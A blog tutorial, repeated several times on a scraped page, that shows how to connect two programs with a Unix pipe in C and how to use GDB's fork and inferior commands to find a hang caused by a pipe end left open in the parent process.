                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    post-container">
    
    				<p>In this article, we’ll walk through a simple example showing</p>
    
    <ul>
      <li>how to use unix pipe for inter-process communication</li>
      <li>how to debug a program of three processes using GDB</li>
    </ul>
    
    <!-- excerpt -->
    <hr />
    <hr />
    
    <h3 id="pre-requists">Pre-requists</h3>
    
    <ul>
      <li>experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video <a href="https://www.youtube.com/watch?v=tc4ROCJYbm0">Unix intro</a>)</li>
      <li>experience using GDB, know how to set breakpoints (checkout <a href="https://sourceware.org/gdb/onlinedocs/gdb/index.html#Top">GDB tutorial</a>)</li>
      <li>c language readability (espicially <code class="language-plaintext highlighter-rouge">fork</code>, <code class="language-plaintext highlighter-rouge">exec</code>)</li>
      <li>understand I/O redirect (checkout <code class="language-plaintext highlighter-rouge">man dup</code>)</li>
    </ul>
    
    <h3 id="the-problem">The problem</h3>
    
    <p>The problem is to</p>
    
    <ol>
      <li>load two pre-built programs</li>
      <li>stream the output of the first program to the second one</li>
      <li>print the result of the second program</li>
      <li>print a finish sentence when both programs finish</li>
    </ol>
    
    <p>For example, we want to mimic the action of such bash command:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /bin/sort
    </code></pre></div></div>
    
    <h3 id="the-first-version">The first version</h3>
    
    <p>Our very first version almost works, it</p>
    
    <ol>
      <li>sets up a pipe for later inter-process communication</li>
      <li>forks two processes</li>
      <li>modifies pipe for each process, so that the input/output is correctly redirected</li>
      <li>loads the pre-built programs to the processes</li>
      <li>prints the finish sentence</li>
    </ol>
    
    <p>The C file is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/first.c">here</a>.</p>
    
    <p>Compile and run the program (assuming you have <code class="language-plaintext highlighter-rouge">gcc</code> installed). Notice you may need to modify positions for <code class="language-plaintext highlighter-rouge">ls</code> and <code class="language-plaintext highlighter-rouge">sort</code> programs if the belowing positions do not work.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o first first.c
    ./first /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Here is the output:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Run two programs succeeded!
    README.md                                                                                                                                                                            
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>And this the output of pipe in terminal:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /usr/bin/sort 
    
    README.md
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.</p>
    
    <p>This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.</p>
    
    <p>To fix the problem, let’s move on to second version.</p>
    
    <h3 id="the-second-version">The second version</h3>
    
    <p>At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last <code class="language-plaintext highlighter-rouge">else</code> branch, so that the main program will print the finish sentence after child processes finish.</p>
    
    <p>The second version is at <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/second.c">here</a>. Notice the only difference is two additional lines (105-106).</p>
    
    <p>Compile and run:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o second second.c
    ./second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>We will find the program <strong>never</strong> finishes!</p>
    
    <p>Instead of telling you why the program breaks, we will use GDB to find out the reason together.</p>
    
    <p>Compile the program again with debug information and use GDB to execute the program:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -g -O0 -o second second.c 
    gdb --args second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Before everything, let’s set <code class="language-plaintext highlighter-rouge">detach-on-fork</code> environment variable of GDB to off.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>set detach-on-fork off
    </code></pre></div></div>
    
    <p>By doint this, we could switch between processes easily. More details on this environment at <a href="https://sourceware.org/gdb/onlinedocs/gdb/Forks.html">here</a>.</p>
    
    <p>Now let’s set breakpoint at right before <code class="language-plaintext highlighter-rouge">waitpid</code> system call and run the program</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) br second.c:105
    Breakpoint 1 at 0x400b27: file second.c, line 105.
    (gdb) r
    ...
    Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
    105			waitpid(pid1, NULL, 0);
    </code></pre></div></div>
    
    <p>Now use <code class="language-plaintext highlighter-rouge">next</code> command of GDB to step through the functions.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) n
    106			waitpid(pid2, NULL, 0);
    (gdb) n
    </code></pre></div></div>
    
    <p>This means the first program finishes successfully, but the second one suspends and never returns!</p>
    
    <p>In order to figure out why the second program never returns, let’s run the program again, and use <code class="language-plaintext highlighter-rouge">catch</code>, <code class="language-plaintext highlighter-rouge">inferior</code> commands to go to that child process instead of the parent process.</p>
    
    <p>First, let GDB stops when a <code class="language-plaintext highlighter-rouge">fork</code> system call is called</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) catch fork
    Catchpoint 1 (fork)
    </code></pre></div></div>
    
    <p>Next, go to the fork statement at line 84.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) r
    Starting program: second /bin/ls /usr/bin/sort
    
    Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
    (gdb) c
    Continuing.
    [New process 6134]
    
    Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
    (gdb) finish
    Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    [New process 6147]
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $1 = 6147
    </code></pre></div></div>
    
    <p>Notice we meet two <code class="language-plaintext highlighter-rouge">fork</code> system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.</p>
    
    <p>GDB use the concept of <em>inferior</em> to refer to threads, processes etc. To see currently running processes, just run</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
      2    process 6134      second 
    * 1    process 6127      second
    </code></pre></div></div>
    
    <p>Notice both executable names of child processes are “second”. This means the <code class="language-plaintext highlighter-rouge">/bin/ls</code> and <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code> are not loaded yet. This is because by setting <code class="language-plaintext highlighter-rouge">detach-on-fork</code> off, the newly created processes will be suspended by default.</p>
    
    <p>Let’s switch to first program (inferior 2) and let it finish.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 2
    ...
    (gdb) c
    Continuing.
    process 6134 is executing new program: /bin/ls
    Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
    [Inferior 2 (process 6134) exited normally]
    </code></pre></div></div>
    
    <p>Now only two inferiors are left.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
    * 2    &lt;null&gt;            /bin/ls           
      1    process 6127      second 
    </code></pre></div></div>
    
    <p>The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 3
    ...
    (gdb) finish
    Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $2 = 0
    (gdb) n
    88		    	if (-1 == close(pipefd[1])) {
    (gdb) n
    94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
    (gdb) n
    98		    	run(program2);
    (gdb) n
    
    </code></pre></div></div>
    
    <p>The program seems stuck when executing <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code>. A guess is input file is never closed. Let’s check.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
    81	in ../sysdeps/unix/syscall-template.S
    (gdb) shell ls -l /proc/6147/fd
    total 0
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -&gt; pipe:[91298]
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!</p>
    
    <p>Just to make sure our guess is correct, let’s examine open file descriptors in parent process.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 1
    [Switching to inferior 1 [process 6127] (second)]
    [Switching to thread 1 (process 6127)] 
    #0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    (gdb) c
    Continuing.
    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
    31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
    (gdb) shell ls -l /proc/6127/fd
    total 0
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -&gt; pipe:[91298]
    l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>And we know the pipe is indeed not closed in parent process. This leads us to third version.</p>
    
    <h3 id="the-third-version">The third version</h3>
    
    <p>In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.</p>
    
    <p>The third version is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/third.c">here</a>.</p>
    
    <p>Now let’s test the program again.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o third third.c 
    ./third /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>And here is the result on my machine,</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>README.md
    first.c
    second.c
    third
    third.c
    Run two programs succeeded!
    </code></pre></div></div>
    
    <p>which is the same as the result of terminal.</p>
    
    <h3 id="conclusion">Conclusion</h3>
    
    <p>In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.</p>
    
    <p>We learnt</p>
    
    <ul>
      <li>C and Unix skills
        <ul>
          <li>pipe</li>
          <li>fork</li>
          <li>waitpid</li>
          <li>dup</li>
        </ul>
      </li>
      <li>GDB skills
        <ul>
          <li>catch</li>
          <li>inferior</li>
        </ul>
      </li>
    </ul>
    
    
                    <hr>
    
                    <ul class="pager">
                        
                        <li class="previous">
                            <a href="/2016/04/20/concurrency-vs-parallelism/" data-toggle="tooltip" data-placement="top" title="Concurrency vs. Parallelism">&larr; Previous Post</a>
                        </li>
                        
                        
                        <li class="next">
                            <a href="/2017/02/10/blog-with-Jekyll-for-beginner/" data-toggle="tooltip" data-placement="top" title="Blog with Jekyll for beginners">Next Post &rarr;</a>
                        </li>
                        
                    </ul>
    
                    
                    <!-- disqus 评论框 start -->
                    <div class="comment">
                        <div id="disqus_thread" class="disqus-thread"></div>
                    </div>
                    <!-- disqus 评论框 end -->
                    
    
                </div>
    
        <!-- Sidebar Container -->
        <!--
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    sidebar-container" id="toc">
                </div>
        -->
            </div>
        </div>
    </article>
    
    
    <!-- disqus 公共JS代码 start (一个网页只需插入一次) -->
    <script type="text/javascript">
        /* * * CONFIGURATION VARIABLES * * */
        var disqus_shortname = "pufan-jiangs-blog";
        var disqus_identifier = "/2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB";
        var disqus_url = "http://otnt.github.io//2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB/";
    
        (function() {
            var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;
            dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';
            (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
        })();
    </script>
    <!-- disqus 公共JS代码 end -->
    
     start -->
    		<div>
    			<header>
    				<h1>Blog with Jekyll for beginners</h1>
    				<p>Feb 10, 2017</p>
    			</header>
    		
    			<article>
    				<!-- Post Header -->
    <header class="intro-header" >
        <div class="container">
            <div class="row">
                <div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
                    <div class="post-heading">
                        <div class="tags">
                            
                            <a class="tag" href="/tags/#c" title="c">c</a>
                            
                            <a class="tag" href="/tags/#unix" title="unix">unix</a>
                            
                            <a class="tag" href="/tags/#gdb" title="gdb">gdb</a>
                            
                            <a class="tag" href="/tags/#system" title="system">system</a>
                            
                        </div>
                        <h1>Inter-process communication using pipe and multiprocess debugging using GDB</h1>
                        
                        
                        <h2 class="subheading"></h2>
                        
                        <span class="meta">Posted on February 3, 2017</span>
                        <span class="meta">Updated on February 3, 2017</span>
                    </div>
                </div>
            </div>
        </div>
    </header>
    
    <!-- Post Content -->
    <article>
        <div class="container">
            <div class="row">
    
        <!-- Post Container -->
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    post-container">
    
    				<p>In this article, we’ll walk through a simple example showing</p>
    
    <ul>
      <li>how to use unix pipe for inter-process communication</li>
      <li>how to debug a program of three processes using GDB</li>
    </ul>
    
    <!-- excerpt -->
    <hr />
    <hr />
    
    <h3 id="pre-requists">Pre-requists</h3>
    
    <ul>
      <li>experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video <a href="https://www.youtube.com/watch?v=tc4ROCJYbm0">Unix intro</a>)</li>
      <li>experience using GDB, know how to set breakpoints (checkout <a href="https://sourceware.org/gdb/onlinedocs/gdb/index.html#Top">GDB tutorial</a>)</li>
      <li>c language readability (espicially <code class="language-plaintext highlighter-rouge">fork</code>, <code class="language-plaintext highlighter-rouge">exec</code>)</li>
      <li>understand I/O redirect (checkout <code class="language-plaintext highlighter-rouge">man dup</code>)</li>
    </ul>
    
    <h3 id="the-problem">The problem</h3>
    
    <p>The problem is to</p>
    
    <ol>
      <li>load two pre-built programs</li>
      <li>stream the output of the first program to the second one</li>
      <li>print the result of the second program</li>
      <li>print a finish sentence when both programs finish</li>
    </ol>
    
    <p>For example, we want to mimic the action of such bash command:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /bin/sort
    </code></pre></div></div>
    
    <h3 id="the-first-version">The first version</h3>
    
    <p>Our very first version almost works, it</p>
    
    <ol>
      <li>sets up a pipe for later inter-process communication</li>
      <li>forks two processes</li>
      <li>modifies pipe for each process, so that the input/output is correctly redirected</li>
      <li>loads the pre-built programs to the processes</li>
      <li>prints the finish sentence</li>
    </ol>
    
    <p>The C file is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/first.c">here</a>.</p>
    
    <p>Compile and run the program (assuming you have <code class="language-plaintext highlighter-rouge">gcc</code> installed). Notice you may need to modify positions for <code class="language-plaintext highlighter-rouge">ls</code> and <code class="language-plaintext highlighter-rouge">sort</code> programs if the belowing positions do not work.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o first first.c
    ./first /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Here is the output:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Run two programs succeeded!
    README.md                                                                                                                                                                            
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>And this the output of pipe in terminal:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /usr/bin/sort 
    
    README.md
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.</p>
    
    <p>This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.</p>
    
    <p>To fix the problem, let’s move on to second version.</p>
    
    <h3 id="the-second-version">The second version</h3>
    
    <p>At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last <code class="language-plaintext highlighter-rouge">else</code> branch, so that the main program will print the finish sentence after child processes finish.</p>
    
    <p>The second version is at <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/second.c">here</a>. Notice the only difference is two additional lines (105-106).</p>
    
    <p>Compile and run:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o second second.c
    ./second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>We will find the program <strong>never</strong> finishes!</p>
    
    <p>Instead of telling you why the program breaks, we will use GDB to find out the reason together.</p>
    
    <p>Compile the program again with debug information and use GDB to execute the program:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -g -O0 -o second second.c 
    gdb --args second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Before everything, let’s set <code class="language-plaintext highlighter-rouge">detach-on-fork</code> environment variable of GDB to off.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>set detach-on-fork off
    </code></pre></div></div>
    
    <p>By doint this, we could switch between processes easily. More details on this environment at <a href="https://sourceware.org/gdb/onlinedocs/gdb/Forks.html">here</a>.</p>
    
    <p>Now let’s set breakpoint at right before <code class="language-plaintext highlighter-rouge">waitpid</code> system call and run the program</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) br second.c:105
    Breakpoint 1 at 0x400b27: file second.c, line 105.
    (gdb) r
    ...
    Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
    105			waitpid(pid1, NULL, 0);
    </code></pre></div></div>
    
    <p>Now use <code class="language-plaintext highlighter-rouge">next</code> command of GDB to step through the functions.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) n
    106			waitpid(pid2, NULL, 0);
    (gdb) n
    </code></pre></div></div>
    
    <p>This means the first program finishes successfully, but the second one suspends and never returns!</p>
    
    <p>In order to figure out why the second program never returns, let’s run the program again, and use <code class="language-plaintext highlighter-rouge">catch</code>, <code class="language-plaintext highlighter-rouge">inferior</code> commands to go to that child process instead of the parent process.</p>
    
    <p>First, let GDB stops when a <code class="language-plaintext highlighter-rouge">fork</code> system call is called</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) catch fork
    Catchpoint 1 (fork)
    </code></pre></div></div>
    
    <p>Next, go to the fork statement at line 84.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) r
    Starting program: second /bin/ls /usr/bin/sort
    
    Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
    (gdb) c
    Continuing.
    [New process 6134]
    
    Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
    (gdb) finish
    Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    [New process 6147]
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $1 = 6147
    </code></pre></div></div>
    
    <p>Notice we meet two <code class="language-plaintext highlighter-rouge">fork</code> system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.</p>
    
    <p>GDB use the concept of <em>inferior</em> to refer to threads, processes etc. To see currently running processes, just run</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
      2    process 6134      second 
    * 1    process 6127      second
    </code></pre></div></div>
    
    <p>Notice both executable names of child processes are “second”. This means the <code class="language-plaintext highlighter-rouge">/bin/ls</code> and <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code> are not loaded yet. This is because by setting <code class="language-plaintext highlighter-rouge">detach-on-fork</code> off, the newly created processes will be suspended by default.</p>
    
    <p>Let’s switch to first program (inferior 2) and let it finish.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 2
    ...
    (gdb) c
    Continuing.
    process 6134 is executing new program: /bin/ls
    Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
    [Inferior 2 (process 6134) exited normally]
    </code></pre></div></div>
    
    <p>Now only two inferiors are left.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
    * 2    &lt;null&gt;            /bin/ls           
      1    process 6127      second 
    </code></pre></div></div>
    
    <p>The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 3
    ...
    (gdb) finish
    Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $2 = 0
    (gdb) n
    88		    	if (-1 == close(pipefd[1])) {
    (gdb) n
    94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
    (gdb) n
    98		    	run(program2);
    (gdb) n
    
    </code></pre></div></div>
    
    <p>The program seems stuck when executing <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code>. A guess is input file is never closed. Let’s check.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
    81	in ../sysdeps/unix/syscall-template.S
    (gdb) shell ls -l /proc/6147/fd
    total 0
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -&gt; pipe:[91298]
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!</p>
    
    <p>Just to make sure our guess is correct, let’s examine open file descriptors in parent process.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 1
    [Switching to inferior 1 [process 6127] (second)]
    [Switching to thread 1 (process 6127)] 
    #0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    (gdb) c
    Continuing.
    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
    31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
    (gdb) shell ls -l /proc/6127/fd
    total 0
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -&gt; pipe:[91298]
    l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>And we know the pipe is indeed not closed in parent process. This leads us to third version.</p>
    
    <h3 id="the-third-version">The third version</h3>
    
    <p>In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.</p>
    
    <p>The third version is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/third.c">here</a>.</p>
    
    <p>Now let’s test the program again.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o third third.c 
    ./third /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>And here is the result on my machine,</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>README.md
    first.c
    second.c
    third
    third.c
    Run two programs succeeded!
    </code></pre></div></div>
    
    <p>which is the same as the result of terminal.</p>
    
    <h3 id="conclusion">Conclusion</h3>
    
    <p>In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.</p>
    
    <p>We learnt</p>
    
    <ul>
      <li>C and Unix skills
        <ul>
          <li>pipe</li>
          <li>fork</li>
          <li>waitpid</li>
          <li>dup</li>
        </ul>
      </li>
      <li>GDB skills
        <ul>
          <li>catch</li>
          <li>inferior</li>
        </ul>
      </li>
    </ul>
    
    
                    <hr>
    
                    <ul class="pager">
                        
                        <li class="previous">
                            <a href="/2016/04/20/concurrency-vs-parallelism/" data-toggle="tooltip" data-placement="top" title="Concurrency vs. Parallelism">&larr; Previous Post</a>
                        </li>
                        
                        
                        <li class="next">
                            <a href="/2017/02/10/blog-with-Jekyll-for-beginner/" data-toggle="tooltip" data-placement="top" title="Blog with Jekyll for beginners">Next Post &rarr;</a>
                        </li>
                        
                    </ul>
    
                    
                    <!-- disqus 评论框 start -->
                    <div class="comment">
                        <div id="disqus_thread" class="disqus-thread"></div>
                    </div>
                    <!-- disqus 评论框 end -->
                    
    
                </div>
    
        <!-- Sidebar Container -->
        <!--
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    sidebar-container" id="toc">
                </div>
        -->
            </div>
        </div>
    </article>
    
    
    <!-- disqus 公共JS代码 start (一个网页只需插入一次) -->
    <script type="text/javascript">
        /* * * CONFIGURATION VARIABLES * * */
        var disqus_shortname = "pufan-jiangs-blog";
        var disqus_identifier = "/2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB";
        var disqus_url = "http://otnt.github.io//2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB/";
    
        (function() {
            var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;
            dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';
            (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
        })();
    </script>
    <!-- disqus 公共JS代码 end -->
    
    
    			</article>
    		</div>
    		<!-- Replace <!-- Post Header -->
    <header class="intro-header" >
        <div class="container">
            <div class="row">
                <div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
                    <div class="post-heading">
                        <div class="tags">
                            
                            <a class="tag" href="/tags/#c" title="c">c</a>
                            
                            <a class="tag" href="/tags/#unix" title="unix">unix</a>
                            
                            <a class="tag" href="/tags/#gdb" title="gdb">gdb</a>
                            
                            <a class="tag" href="/tags/#system" title="system">system</a>
                            
                        </div>
                        <h1>Inter-process communication using pipe and multiprocess debugging using GDB</h1>
                        
                        
                        <h2 class="subheading"></h2>
                        
                        <span class="meta">Posted on February 3, 2017</span>
                        <span class="meta">Updated on February 3, 2017</span>
                    </div>
                </div>
            </div>
        </div>
    </header>
    
    <!-- Post Content -->
    <article>
        <div class="container">
            <div class="row">
    
        <!-- Post Container -->
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    post-container">
    
    				<p>In this article, we’ll walk through a simple example showing</p>
    
    <ul>
      <li>how to use unix pipe for inter-process communication</li>
      <li>how to debug a program of three processes using GDB</li>
    </ul>
    
    <!-- excerpt -->
    <hr />
    <hr />
    
    <h3 id="pre-requists">Pre-requists</h3>
    
    <ul>
      <li>experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video <a href="https://www.youtube.com/watch?v=tc4ROCJYbm0">Unix intro</a>)</li>
